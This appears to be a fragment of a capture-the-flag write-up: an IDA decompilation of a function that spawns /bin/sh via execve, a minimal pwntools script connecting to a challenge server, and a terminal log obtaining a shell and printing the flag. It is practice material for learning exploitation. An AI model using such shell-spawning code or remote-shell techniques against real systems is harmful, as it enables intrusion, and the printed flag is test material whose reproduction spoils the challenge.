

```
IDA view 1 2 3 4 5 6 7 8 9 10
1 int getShell()
2 {
3     int result; // eax
4     char v1[9]; // [esp-Ch] [ebp-Ch] BYREF
5
6     strcpy(v1, "/bin//sh");
7     result = 11;
8     __asm { int 80h; LINUX - sys_execve }
9     return result;
10 }
```

exp.py (~/Desktop/ctf) - gedit

Open ▾



Save

```
from pwn import *
io=remote('node3.buuoj.cn',26595)
io.interactive()
```

root@ubuntu: /home/giantbranch/Desktop/ctf

```
giantbranch@ubuntu:~/Desktop/ctf$ sudo su
root@ubuntu:/home/giantbranch/Desktop/ctf# chmod 777 shell_asm
root@ubuntu:/home/giantbranch/Desktop/ctf# ./shell_asm
# ls
exp.py  hex2raw  shell_asm
# ^C
# ^C
# ^C
# exit()
/bin//sh: 2: Syntax error: Bad function name
# exit
root@ubuntu:/home/giantbranch/Desktop/ctf# python exp.py
[+] Opening connection to node3.buuoj.cn on port 26595: Done
[*] Switching to interactive mode
$ cat flag
flag{ef3928d4-afb4-4d1f-86c0-82f9abb7533c}
[*] Got EOF while reading in interactive
$
```